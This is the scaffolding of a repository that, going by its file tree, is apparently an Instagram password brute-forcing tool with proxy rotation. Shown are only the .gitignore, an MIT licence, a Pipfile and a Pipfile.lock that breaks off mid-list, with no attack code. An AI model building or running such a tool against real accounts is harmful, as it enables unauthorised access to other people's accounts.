├── .gitignore
├── LICENSE
├── Pipfile
├── Pipfile.lock
├── README.md
├── instagram.py
└── lib
├── __init__.py
├── browser.py
├── bruter.py
├── const.py
├── database.py
├── display.py
├── password_manager.py
├── proxy.py
└── proxy_manager.py
/.gitignore:
--------------------------------------------------------------------------------
1 | database
2 | __pycache__
3 | .vscode
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 Mohamed
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Pipfile:
--------------------------------------------------------------------------------
1 | [[source]]
2 | url = "https://pypi.org/simple"
3 | verify_ssl = true
4 | name = "pypi"
5 |
6 | [packages]
7 | bs4 = "*"
8 | requests = {extras = ["socks"], version = "*"}
9 | colorama = "*"
10 | pysocks = "*"
11 | requests-html = "*"
12 |
13 | [dev-packages]
14 | black = "*"
15 |
16 | [requires]
17 | python_version = "3.9"
18 |
19 | [pipenv]
20 | allow_prereleases = true
21 |
--------------------------------------------------------------------------------
/Pipfile.lock:
--------------------------------------------------------------------------------
1 | {
2 | "_meta": {
3 | "hash": {
4 | "sha256": "8fb49e2cd154fec06d3e7c0d846414e49357ef265766b882fb148ad342c998d1"
5 | },
6 | "pipfile-spec": 6,
7 | "requires": {
8 | "python_version": "3.9"
9 | },
10 | "sources": [
11 | {
12 | "name": "pypi",
13 | "url": "https://pypi.org/simple",
14 | "verify_ssl": true
15 | }
16 | ]
17 | },
18 | "default": {
19 | "appdirs": {
20 | "hashes": [
21 | "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41",
22 | "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128"
23 | ],
24 | "version": "==1.4.4"
25 | },
26 | "beautifulsoup4": {
27 | "hashes": [
28 | "sha256:58d5c3d29f5a36ffeb94f02f0d786cd53014cf9b3b3951d42e0080d8a9498d30",
29 | "sha256:ad9aa55b65ef2808eb405f46cf74df7fcb7044d5cbc26487f96eb2ef2e436693"
30 | ],
31 | "markers": "python_version >= '3.6'",
32 | "version": "==4.11.1"
33 | },
34 | "bs4": {
35 | "hashes": [
36 | "sha256:36ecea1fd7cc5c0c6e4a1ff075df26d50da647b75376626cc186e2212886dd3a"
37 | ],
38 | "index": "pypi",
39 | "version": "==0.0.1"
40 | },
41 | "certifi": {
42 | "hashes": [
43 | "sha256:84c85a9078b11105f04f3036a9482ae10e4621616db313fe045dd24743a0820d",
44 | "sha256:fe86415d55e84719d75f8b69414f6438ac3547d2078ab91b67e779ef69378412"
45 | ],
46 | "markers": "python_version >= '3.6'",
47 | "version": "==2022.6.15"
48 | },
49 | "charset-normalizer": {
50 | "hashes": [
51 | "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597",
52 | "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df"
53 | ],
54 | "markers": "python_version >= '3'",
55 | "version": "==2.0.12"
56 | },
57 | "colorama": {
58 | "hashes": [
59 | "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b",
60 | "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"
61 | ],
62 | "index": "pypi",
63 | "version": "==0.4.4"
64 | },
65 | "cssselect": {
66 | "hashes": [
67 | "sha256:f612ee47b749c877ebae5bb77035d8f4202c6ad0f0fc1271b3c18ad6c4468ecf",
68 | "sha256:f95f8dedd925fd8f54edb3d2dfb44c190d9d18512377d3c1e2388d16126879bc"
69 | ],
70 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
71 | "version": "==1.1.0"
72 | },
73 | "fake-useragent": {
74 | "hashes": [
75 | "sha256:c104998b750eb097eefc28ae28e92d66397598d2cf41a31aa45d5559ef1adf35"
76 | ],
77 | "version": "==0.1.11"
78 | },
79 | "idna": {
80 | "hashes": [
81 | "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff",
82 | "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"
83 | ],
84 | "markers": "python_version >= '3'",
85 | "version": "==3.3"
86 | },
87 | "importlib-metadata": {
88 | "hashes": [
89 | "sha256:637245b8bab2b6502fcbc752cc4b7a6f6243bb02b31c5c26156ad103d3d45670",
90 | "sha256:7401a975809ea1fdc658c3aa4f78cc2195a0e019c5cbc4c06122884e9ae80c23"
91 | ],
92 | "markers": "python_version >= '3.7'",
93 | "version": "==4.12.0"
94 | },
95 | "lxml": {
96 | "hashes": [
97 | "sha256:04da965dfebb5dac2619cb90fcf93efdb35b3c6994fea58a157a834f2f94b318",
98 | "sha256:0538747a9d7827ce3e16a8fdd201a99e661c7dee3c96c885d8ecba3c35d1032c",
99 | "sha256:0645e934e940107e2fdbe7c5b6fb8ec6232444260752598bc4d09511bd056c0b",
100 | "sha256:079b68f197c796e42aa80b1f739f058dcee796dc725cc9a1be0cdb08fc45b000",
101 | "sha256:0f3f0059891d3254c7b5fb935330d6db38d6519ecd238ca4fce93c234b4a0f73",
102 | "sha256:10d2017f9150248563bb579cd0d07c61c58da85c922b780060dcc9a3aa9f432d",
103 | "sha256:1355755b62c28950f9ce123c7a41460ed9743c699905cbe664a5bcc5c9c7c7fb",
104 | "sha256:13c90064b224e10c14dcdf8086688d3f0e612db53766e7478d7754703295c7c8",
105 | "sha256:1423631e3d51008871299525b541413c9b6c6423593e89f9c4cfbe8460afc0a2",
106 | "sha256:1436cf0063bba7888e43f1ba8d58824f085410ea2025befe81150aceb123e345",
107 | "sha256:1a7c59c6ffd6ef5db362b798f350e24ab2cfa5700d53ac6681918f314a4d3b94",
108 | "sha256:1e1cf47774373777936c5aabad489fef7b1c087dcd1f426b621fda9dcc12994e",
109 | "sha256:206a51077773c6c5d2ce1991327cda719063a47adc02bd703c56a662cdb6c58b",
110 | "sha256:21fb3d24ab430fc538a96e9fbb9b150029914805d551deeac7d7822f64631dfc",
111 | "sha256:27e590352c76156f50f538dbcebd1925317a0f70540f7dc8c97d2931c595783a",
112 | "sha256:287605bede6bd36e930577c5925fcea17cb30453d96a7b4c63c14a257118dbb9",
113 | "sha256:2aaf6a0a6465d39b5ca69688fce82d20088c1838534982996ec46633dc7ad6cc",
114 | "sha256:32a73c53783becdb7eaf75a2a1525ea8e49379fb7248c3eeefb9412123536387",
115 | "sha256:41fb58868b816c202e8881fd0f179a4644ce6e7cbbb248ef0283a34b73ec73bb",
116 | "sha256:4780677767dd52b99f0af1f123bc2c22873d30b474aa0e2fc3fe5e02217687c7",
117 | "sha256:4878e667ebabe9b65e785ac8da4d48886fe81193a84bbe49f12acff8f7a383a4",
118 | "sha256:487c8e61d7acc50b8be82bda8c8d21d20e133c3cbf41bd8ad7eb1aaeb3f07c97",
119 | "sha256:4beea0f31491bc086991b97517b9683e5cfb369205dac0148ef685ac12a20a67",
120 | "sha256:4cfbe42c686f33944e12f45a27d25a492cc0e43e1dc1da5d6a87cbcaf2e95627",
121 | "sha256:4d5bae0a37af799207140652a700f21a85946f107a199bcb06720b13a4f1f0b7",
122 | "sha256:4e285b5f2bf321fc0857b491b5028c5f276ec0c873b985d58d7748ece1d770dd",
123 | "sha256:57e4d637258703d14171b54203fd6822fda218c6c2658a7d30816b10995f29f3",
124 | "sha256:5974895115737a74a00b321e339b9c3f45c20275d226398ae79ac008d908bff7",
125 | "sha256:5ef87fca280fb15342726bd5f980f6faf8b84a5287fcc2d4962ea8af88b35130",
126 | "sha256:603a464c2e67d8a546ddaa206d98e3246e5db05594b97db844c2f0a1af37cf5b",
127 | "sha256:6653071f4f9bac46fbc30f3c7838b0e9063ee335908c5d61fb7a4a86c8fd2036",
128 | "sha256:6ca2264f341dd81e41f3fffecec6e446aa2121e0b8d026fb5130e02de1402785",
129 | "sha256:6d279033bf614953c3fc4a0aa9ac33a21e8044ca72d4fa8b9273fe75359d5cca",
130 | "sha256:6d949f53ad4fc7cf02c44d6678e7ff05ec5f5552b235b9e136bd52e9bf730b91",
131 | "sha256:6daa662aba22ef3258934105be2dd9afa5bb45748f4f702a3b39a5bf53a1f4dc",
132 | "sha256:6eafc048ea3f1b3c136c71a86db393be36b5b3d9c87b1c25204e7d397cee9536",
133 | "sha256:830c88747dce8a3e7525defa68afd742b4580df6aa2fdd6f0855481e3994d391",
134 | "sha256:86e92728ef3fc842c50a5cb1d5ba2bc66db7da08a7af53fb3da79e202d1b2cd3",
135 | "sha256:8caf4d16b31961e964c62194ea3e26a0e9561cdf72eecb1781458b67ec83423d",
136 | "sha256:8d1a92d8e90b286d491e5626af53afef2ba04da33e82e30744795c71880eaa21",
137 | "sha256:8f0a4d179c9a941eb80c3a63cdb495e539e064f8054230844dcf2fcb812b71d3",
138 | "sha256:9232b09f5efee6a495a99ae6824881940d6447debe272ea400c02e3b68aad85d",
139 | "sha256:927a9dd016d6033bc12e0bf5dee1dde140235fc8d0d51099353c76081c03dc29",
140 | "sha256:93e414e3206779ef41e5ff2448067213febf260ba747fc65389a3ddaa3fb8715",
141 | "sha256:98cafc618614d72b02185ac583c6f7796202062c41d2eeecdf07820bad3295ed",
142 | "sha256:9c3a88d20e4fe4a2a4a84bf439a5ac9c9aba400b85244c63a1ab7088f85d9d25",
143 | "sha256:9f36de4cd0c262dd9927886cc2305aa3f2210db437aa4fed3fb4940b8bf4592c",
144 | "sha256:a60f90bba4c37962cbf210f0188ecca87daafdf60271f4c6948606e4dabf8785",
145 | "sha256:a614e4afed58c14254e67862456d212c4dcceebab2eaa44d627c2ca04bf86837",
146 | "sha256:ae06c1e4bc60ee076292e582a7512f304abdf6c70db59b56745cca1684f875a4",
147 | "sha256:b122a188cd292c4d2fcd78d04f863b789ef43aa129b233d7c9004de08693728b",
148 | "sha256:b570da8cd0012f4af9fa76a5635cd31f707473e65a5a335b186069d5c7121ff2",
149 | "sha256:bcaa1c495ce623966d9fc8a187da80082334236a2a1c7e141763ffaf7a405067",
150 | "sha256:bd34f6d1810d9354dc7e35158aa6cc33456be7706df4420819af6ed966e85448",
151 | "sha256:be9eb06489bc975c38706902cbc6888f39e946b81383abc2838d186f0e8b6a9d",
152 | "sha256:c4b2e0559b68455c085fb0f6178e9752c4be3bba104d6e881eb5573b399d1eb2",
153 | "sha256:c62e8dd9754b7debda0c5ba59d34509c4688f853588d75b53c3791983faa96fc",
154 | "sha256:c852b1530083a620cb0de5f3cd6826f19862bafeaf77586f1aef326e49d95f0c",
155 | "sha256:d9fc0bf3ff86c17348dfc5d322f627d78273eba545db865c3cd14b3f19e57fa5",
156 | "sha256:dad7b164905d3e534883281c050180afcf1e230c3d4a54e8038aa5cfcf312b84",
157 | "sha256:e5f66bdf0976ec667fc4594d2812a00b07ed14d1b44259d19a41ae3fff99f2b8",
158 | "sha256:e8f0c9d65da595cfe91713bc1222af9ecabd37971762cb830dea2fc3b3bb2acf",
159 | "sha256:edffbe3c510d8f4bf8640e02ca019e48a9b72357318383ca60e3330c23aaffc7",
160 | "sha256:eea5d6443b093e1545ad0210e6cf27f920482bfcf5c77cdc8596aec73523bb7e",
161 | "sha256:ef72013e20dd5ba86a8ae1aed7f56f31d3374189aa8b433e7b12ad182c0d2dfb",
162 | "sha256:f05251bbc2145349b8d0b77c0d4e5f3b228418807b1ee27cefb11f69ed3d233b",
163 | "sha256:f1be258c4d3dc609e654a1dc59d37b17d7fef05df912c01fc2e15eb43a9735f3",
164 | "sha256:f9ced82717c7ec65a67667bb05865ffe38af0e835cdd78728f1209c8fffe0cad",
165 | "sha256:fe17d10b97fdf58155f858606bddb4e037b805a60ae023c009f760d8361a4eb8",
166 | "sha256:fe749b052bb7233fe5d072fcb549221a8cb1a16725c47c37e42b0b9cb3ff2c3f"
167 | ],
168 | "index": "pypi",
169 | "version": "==4.9.1"
170 | },
171 | "parse": {
172 | "hashes": [
173 | "sha256:9ff82852bcb65d139813e2a5197627a94966245c897796760a3a2a8eb66f020b"
174 | ],
175 | "version": "==1.19.0"
176 | },
177 | "pyee": {
178 | "hashes": [
179 | "sha256:5c7e60f8df95710dbe17550e16ce0153f83990c00ef744841b43f371ed53ebea",
180 | "sha256:c09f56e36eb10bf23aa2aacf145f690ded75b990a3d9523fd478b005940303d2"
181 | ],
182 | "version": "==8.2.2"
183 | },
184 | "pyppeteer": {
185 | "hashes": [
186 | "sha256:11a734d8f02c6b128035aba8faf32748f2016310a6a1cbc6aa5b1e2580742e8f",
187 | "sha256:ddb0d15cb644720160d49abb1ad0d97e87a55581febf1b7531be9e983aad7742"
188 | ],
189 | "markers": "python_version >= '3.7' and python_version < '4'",
190 | "version": "==1.0.2"
191 | },
192 | "pyquery": {
193 | "hashes": [
194 | "sha256:1fc33b7699455ed25c75282bc8f80ace1ac078b0dda5a933dacbd8b1c1f83963",
195 | "sha256:a388eefb6bc4a55350de0316fbd97cda999ae669b6743ae5b99102ba54f5aa72"
196 | ],
197 | "version": "==1.4.3"
198 | },
199 | "pysocks": {
200 | "hashes": [
201 | "sha256:08e69f092cc6dbe92a0fdd16eeb9b9ffbc13cadfe5ca4c7bd92ffb078b293299",
202 | "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5",
203 | "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0"
204 | ],
205 | "index": "pypi",
206 | "version": "==1.7.1"
207 | },
208 | "requests": {
209 | "extras": [
210 | "socks"
211 | ],
212 | "hashes": [
213 | "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24",
214 | "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7"
215 | ],
216 | "index": "pypi",
217 | "version": "==2.26.0"
218 | },
219 | "requests-html": {
220 | "hashes": [
221 | "sha256:7e929ecfed95fb1d0994bb368295d6d7c4d06b03fcb900c33d7d0b17e6003947",
222 | "sha256:cb8a78cf829c4eca9d6233f28524f65dd2bfaafb4bdbbc407f0a0b8f487df6e2"
223 | ],
224 | "index": "pypi",
225 | "version": "==0.10.0"
226 | },
227 | "six": {
228 | "hashes": [
229 | "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
230 | "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"
231 | ],
232 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
233 | "version": "==1.16.0"
234 | },
235 | "soupsieve": {
236 | "hashes": [
237 | "sha256:3b2503d3c7084a42b1ebd08116e5f81aadfaea95863628c80a3b774a11b7c759",
238 | "sha256:fc53893b3da2c33de295667a0e19f078c14bf86544af307354de5fcf12a3f30d"
239 | ],
240 | "markers": "python_version >= '3.6'",
241 | "version": "==2.3.2.post1"
242 | },
243 | "tqdm": {
244 | "hashes": [
245 | "sha256:40be55d30e200777a307a7585aee69e4eabb46b4ec6a4b4a5f2d9f11e7d5408d",
246 | "sha256:74a2cdefe14d11442cedf3ba4e21a3b84ff9a2dbdc6cfae2c34addb2a14a5ea6"
247 | ],
248 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
249 | "version": "==4.64.0"
250 | },
251 | "urllib3": {
252 | "hashes": [
253 | "sha256:44ece4d53fb1706f667c9bd1c648f5469a2ec925fcf3a776667042d645472c14",
254 | "sha256:aabaf16477806a5e1dd19aa41f8c2b7950dd3c746362d7e3223dbe6de6ac448e"
255 | ],
256 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'",
257 | "version": "==1.26.9"
258 | },
259 | "w3lib": {
260 | "hashes": [
261 | "sha256:0161d55537063e00d95a241663ede3395c4c6d7b777972ba2fd58bbab2001e53",
262 | "sha256:0ad6d0203157d61149fd45aaed2e24f53902989c32fc1dccc2e2bfba371560df"
263 | ],
264 | "version": "==1.22.0"
265 | },
266 | "websockets": {
267 | "hashes": [
268 | "sha256:07cdc0a5b2549bcfbadb585ad8471ebdc7bdf91e32e34ae3889001c1c106a6af",
269 | "sha256:210aad7fdd381c52e58777560860c7e6110b6174488ef1d4b681c08b68bf7f8c",
270 | "sha256:28dd20b938a57c3124028680dc1600c197294da5db4292c76a0b48efb3ed7f76",
271 | "sha256:2f94fa3ae454a63ea3a19f73b95deeebc9f02ba2d5617ca16f0bbdae375cda47",
272 | "sha256:31564a67c3e4005f27815634343df688b25705cccb22bc1db621c781ddc64c69",
273 | "sha256:347974105bbd4ea068106ec65e8e8ebd86f28c19e529d115d89bd8cc5cda3079",
274 | "sha256:379e03422178436af4f3abe0aa8f401aa77ae2487843738542a75faf44a31f0c",
275 | "sha256:3eda1cb7e9da1b22588cefff09f0951771d6ee9fa8dbe66f5ae04cc5f26b2b55",
276 | "sha256:51695d3b199cd03098ae5b42833006a0f43dc5418d3102972addc593a783bc02",
277 | "sha256:54c000abeaff6d8771a4e2cef40900919908ea7b6b6a30eae72752607c6db559",
278 | "sha256:5b936bf552e4f6357f5727579072ff1e1324717902127ffe60c92d29b67b7be3",
279 | "sha256:6075fd24df23133c1b078e08a9b04a3bc40b31a8def4ee0b9f2c8865acce913e",
280 | "sha256:661f641b44ed315556a2fa630239adfd77bd1b11cb0b9d96ed8ad90b0b1e4978",
281 | "sha256:6ea6b300a6bdd782e49922d690e11c3669828fe36fc2471408c58b93b5535a98",
282 | "sha256:6ed1d6f791eabfd9808afea1e068f5e59418e55721db8b7f3bfc39dc831c42ae",
283 | "sha256:7934e055fd5cd9dee60f11d16c8d79c4567315824bacb1246d0208a47eca9755",
284 | "sha256:7ab36e17af592eec5747c68ef2722a74c1a4a70f3772bc661079baf4ae30e40d",
285 | "sha256:7f6d96fdb0975044fdd7953b35d003b03f9e2bcf85f2d2cf86285ece53e9f991",
286 | "sha256:83e5ca0d5b743cde3d29fda74ccab37bdd0911f25bd4cdf09ff8b51b7b4f2fa1",
287 | "sha256:85506b3328a9e083cc0a0fb3ba27e33c8db78341b3eb12eb72e8afd166c36680",
288 | "sha256:8af75085b4bc0b5c40c4a3c0e113fa95e84c60f4ed6786cbb675aeb1ee128247",
289 | "sha256:8b1359aba0ff810d5830d5ab8e2c4a02bebf98a60aa0124fb29aa78cfdb8031f",
290 | "sha256:8fbd7d77f8aba46d43245e86dd91a8970eac4fb74c473f8e30e9c07581f852b2",
291 | "sha256:907e8247480f287aa9bbc9391bd6de23c906d48af54c8c421df84655eef66af7",
292 | "sha256:93d5ea0b5da8d66d868b32c614d2b52d14304444e39e13a59566d4acb8d6e2e4",
293 | "sha256:97bc9d41e69a7521a358f9b8e44871f6cdeb42af31815c17aed36372d4eec667",
294 | "sha256:994cdb1942a7a4c2e10098d9162948c9e7b235df755de91ca33f6e0481366fdb",
295 | "sha256:a141de3d5a92188234afa61653ed0bbd2dde46ad47b15c3042ffb89548e77094",
296 | "sha256:a1e15b230c3613e8ea82c9fc6941b2093e8eb939dd794c02754d33980ba81e36",
297 | "sha256:aad5e300ab32036eb3fdc350ad30877210e2f51bceaca83fb7fef4d2b6c72b79",
298 | "sha256:b529fdfa881b69fe563dbd98acce84f3e5a67df13de415e143ef053ff006d500",
299 | "sha256:b9c77f0d1436ea4b4dc089ed8335fa141e6a251a92f75f675056dac4ab47a71e",
300 | "sha256:bb621ec2dbbbe8df78a27dbd9dd7919f9b7d32a73fafcb4d9252fc4637343582",
301 | "sha256:c7250848ce69559756ad0086a37b82c986cd33c2d344ab87fea596c5ac6d9442",
302 | "sha256:c8d1d14aa0f600b5be363077b621b1b4d1eb3fbf90af83f9281cda668e6ff7fd",
303 | "sha256:d1655a6fc7aecd333b079d00fb3c8132d18988e47f19740c69303bf02e9883c6",
304 | "sha256:d6353ba89cfc657a3f5beabb3b69be226adbb5c6c7a66398e17809b0ce3c4731",
305 | "sha256:da4377904a3379f0c1b75a965fff23b28315bcd516d27f99a803720dfebd94d4",
306 | "sha256:e49ea4c1a9543d2bd8a747ff24411509c29e4bdcde05b5b0895e2120cb1a761d",
307 | "sha256:e4e08305bfd76ba8edab08dcc6496f40674f44eb9d5e23153efa0a35750337e8",
308 | "sha256:e6fa05a680e35d0fcc1470cb070b10e6fe247af54768f488ed93542e71339d6f",
309 | "sha256:e7e6f2d6fd48422071cc8a6f8542016f350b79cc782752de531577d35e9bd677",
310 | "sha256:e904c0381c014b914136c492c8fa711ca4cced4e9b3d110e5e7d436d0fc289e8",
311 | "sha256:ec2b0ab7edc8cd4b0eb428b38ed89079bdc20c6bdb5f889d353011038caac2f9",
312 | "sha256:ef5ce841e102278c1c2e98f043db99d6755b1c58bde475516aef3a008ed7f28e",
313 | "sha256:f351c7d7d92f67c0609329ab2735eee0426a03022771b00102816a72715bb00b",
314 | "sha256:fab7c640815812ed5f10fbee7abbf58788d602046b7bb3af9b1ac753a6d5e916",
315 | "sha256:fc06cc8073c8e87072138ba1e431300e2d408f054b27047d047b549455066ff4"
316 | ],
317 | "markers": "python_version >= '3.7'",
318 | "version": "==10.3"
319 | },
320 | "zipp": {
321 | "hashes": [
322 | "sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad",
323 | "sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099"
324 | ],
325 | "markers": "python_version >= '3.7'",
326 | "version": "==3.8.0"
327 | }
328 | },
329 | "develop": {
330 | "black": {
331 | "hashes": [
332 | "sha256:802c6c30b637b28645b7fde282ed2569c0cd777dbe493a41b6a03c1d903f99ac",
333 | "sha256:a042adbb18b3262faad5aff4e834ff186bb893f95ba3a8013f09de1e5569def2"
334 | ],
335 | "index": "pypi",
336 | "version": "==21.11b1"
337 | },
338 | "click": {
339 | "hashes": [
340 | "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e",
341 | "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"
342 | ],
343 | "markers": "python_version >= '3.7'",
344 | "version": "==8.1.3"
345 | },
346 | "mypy-extensions": {
347 | "hashes": [
348 | "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d",
349 | "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"
350 | ],
351 | "version": "==0.4.3"
352 | },
353 | "pathspec": {
354 | "hashes": [
355 | "sha256:7d15c4ddb0b5c802d161efc417ec1a2558ea2653c2e8ad9c19098201dc1c993a",
356 | "sha256:e564499435a2673d586f6b2130bb5b95f04a3ba06f81b8f895b651a3c76aabb1"
357 | ],
358 | "version": "==0.9.0"
359 | },
360 | "platformdirs": {
361 | "hashes": [
362 | "sha256:027d8e83a2d7de06bbac4e5ef7e023c02b863d7ea5d079477e722bb41ab25788",
363 | "sha256:58c8abb07dcb441e6ee4b11d8df0ac856038f944ab98b7be6b27b2a3c7feef19"
364 | ],
365 | "markers": "python_version >= '3.7'",
366 | "version": "==2.5.2"
367 | },
368 | "regex": {
369 | "hashes": [
370 | "sha256:042d122f9fee3ceb6d7e3067d56557df697d1aad4ff5f64ecce4dc13a90a7c01",
371 | "sha256:047b2d1323a51190c01b6604f49fe09682a5c85d3c1b2c8b67c1cd68419ce3c4",
372 | "sha256:0afa6a601acf3c0dc6de4e8d7d8bbce4e82f8542df746226cd35d4a6c15e9456",
373 | "sha256:166ae7674d0a0e0f8044e7335ba86d0716c9d49465cff1b153f908e0470b8300",
374 | "sha256:17443f99b8f255273731f915fdbfea4d78d809bb9c3aaf67b889039825d06515",
375 | "sha256:17764683ea01c2b8f103d99ae9de2473a74340df13ce306c49a721f0b1f0eb9e",
376 | "sha256:179410c79fa86ef318d58ace233f95b87b05a1db6dc493fa29404a43f4b215e2",
377 | "sha256:186c5a4a4c40621f64d771038ede20fca6c61a9faa8178f9e305aaa0c2442a97",
378 | "sha256:1a6f2698cfa8340dfe4c0597782776b393ba2274fe4c079900c7c74f68752705",
379 | "sha256:1ab5cf7d09515548044e69d3a0ec77c63d7b9dfff4afc19653f638b992573126",
380 | "sha256:1c1264eb40a71cf2bff43d6694ab7254438ca19ef330175060262b3c8dd3931a",
381 | "sha256:1fc26bb3415e7aa7495c000a2c13bf08ce037775db98c1a3fac9ff04478b6930",
382 | "sha256:24908aefed23dd065b4a668c0b4ca04d56b7f09d8c8e89636cf6c24e64e67a1e",
383 | "sha256:249437f7f5b233792234aeeecb14b0aab1566280de42dfc97c26e6f718297d68",
384 | "sha256:24963f0b13cc63db336d8da2a533986419890d128c551baacd934c249d51a779",
385 | "sha256:26dbe90b724efef7820c3cf4a0e5be7f130149f3d2762782e4e8ac2aea284a0b",
386 | "sha256:27624b490b5d8880f25dac67e1e2ea93dfef5300b98c6755f585799230d6c746",
387 | "sha256:2ac29b834100d2c171085ceba0d4a1e7046c434ddffc1434dbc7f9d59af1e945",
388 | "sha256:2f4c101746a8dac0401abefa716b357c546e61ea2e3d4a564a9db9eac57ccbce",
389 | "sha256:30637e7fa4acfed444525b1ab9683f714be617862820578c9fd4e944d4d9ad1f",
390 | "sha256:3adafe6f2c6d86dbf3313866b61180530ca4dcd0c264932dc8fa1ffb10871d58",
391 | "sha256:3b9b6289e03dbe6a6096880d8ac166cb23c38b4896ad235edee789d4e8697152",
392 | "sha256:3de1ecf26ce85521bf73897828b6d0687cc6cf271fb6ff32ac63d26b21f5e764",
393 | "sha256:48dddddce0ea7e7c3e92c1e0c5a28c13ca4dc9cf7e996c706d00479652bff76c",
394 | "sha256:495a4165172848503303ed05c9d0409428f789acc27050fe2cf0a4549188a7d5",
395 | "sha256:4a11cbe8eb5fb332ae474895b5ead99392a4ea568bd2a258ab8df883e9c2bf92",
396 | "sha256:4a5449adef907919d4ce7a1eab2e27d0211d1b255bf0b8f5dd330ad8707e0fc3",
397 | "sha256:4b8838f70be3ce9e706df9d72f88a0aa7d4c1fea61488e06fdf292ccb70ad2be",
398 | "sha256:4d206703a96a39763b5b45cf42645776f5553768ea7f3c2c1a39a4f59cafd4ba",
399 | "sha256:4d42e3b7b23473729adbf76103e7df75f9167a5a80b1257ca30688352b4bb2dc",
400 | "sha256:52684da32d9003367dc1a1c07e059b9bbaf135ad0764cd47d8ac3dba2df109bc",
401 | "sha256:53d69d77e9cfe468b000314dd656be85bb9e96de088a64f75fe128dfe1bf30dd",
402 | "sha256:555f7596fd1f123f8c3a67974c01d6ef80b9769e04d660d6c1a7cc3e6cff7069",
403 | "sha256:5aba3d13c77173e9bfed2c2cea7fc319f11c89a36fcec08755e8fb169cf3b0df",
404 | "sha256:5c8d61883a38b1289fba9944a19a361875b5c0170b83cdcc95ea180247c1b7d3",
405 | "sha256:5e201b1232d81ca1a7a22ab2f08e1eccad4e111579fd7f3bbf60b21ef4a16cea",
406 | "sha256:663dca677bd3d2e2b5b7d0329e9f24247e6f38f3b740dd9a778a8ef41a76af41",
407 | "sha256:67ae3601edf86e15ebe40885e5bfdd6002d34879070be15cf18fc0d80ea24fed",
408 | "sha256:68e5c641645351eb9eb12c465876e76b53717f99e9b92aea7a2dd645a87aa7aa",
409 | "sha256:71988a76fcb68cc091e901fddbcac0f9ad9a475da222c47d3cf8db0876cb5344",
410 | "sha256:775694cd0bb2c4accf2f1cdd007381b33ec8b59842736fe61bdbad45f2ac7427",
411 | "sha256:7f648037c503985aed39f85088acab6f1eb6a0482d7c6c665a5712c9ad9eaefc",
412 | "sha256:809bbbbbcf8258049b031d80932ba71627d2274029386f0452e9950bcfa2c6e8",
413 | "sha256:8fd5f8ae42f789538bb634bdfd69b9aa357e76fdfd7ad720f32f8994c0d84f1e",
414 | "sha256:933e72fbe1829cbd59da2bc51ccd73d73162f087f88521a87a8ec9cb0cf10fa8",
415 | "sha256:9c1f62ee2ba880e221bc950651a1a4b0176083d70a066c83a50ef0cb9b178e12",
416 | "sha256:9faa01818dad9111dbf2af26c6e3c45140ccbd1192c3a0981f196255bf7ec5e6",
417 | "sha256:a58d21dd1a2d6b50ed091554ff85e448fce3fe33a4db8b55d0eba2ca957ed626",
418 | "sha256:a8a08ace913c4101f0dc0be605c108a3761842efd5f41a3005565ee5d169fb2b",
419 | "sha256:b2932e728bee0a634fe55ee54d598054a5a9ffe4cd2be21ba2b4b8e5f8064c2c",
420 | "sha256:b5f759a1726b995dc896e86f17f9c0582b54eb4ead00ed5ef0b5b22260eaf2d0",
421 | "sha256:bc635ab319c9b515236bdf327530acda99be995f9d3b9f148ab1f60b2431e970",
422 | "sha256:be456b4313a86be41706319c397c09d9fdd2e5cdfde208292a277b867e99e3d1",
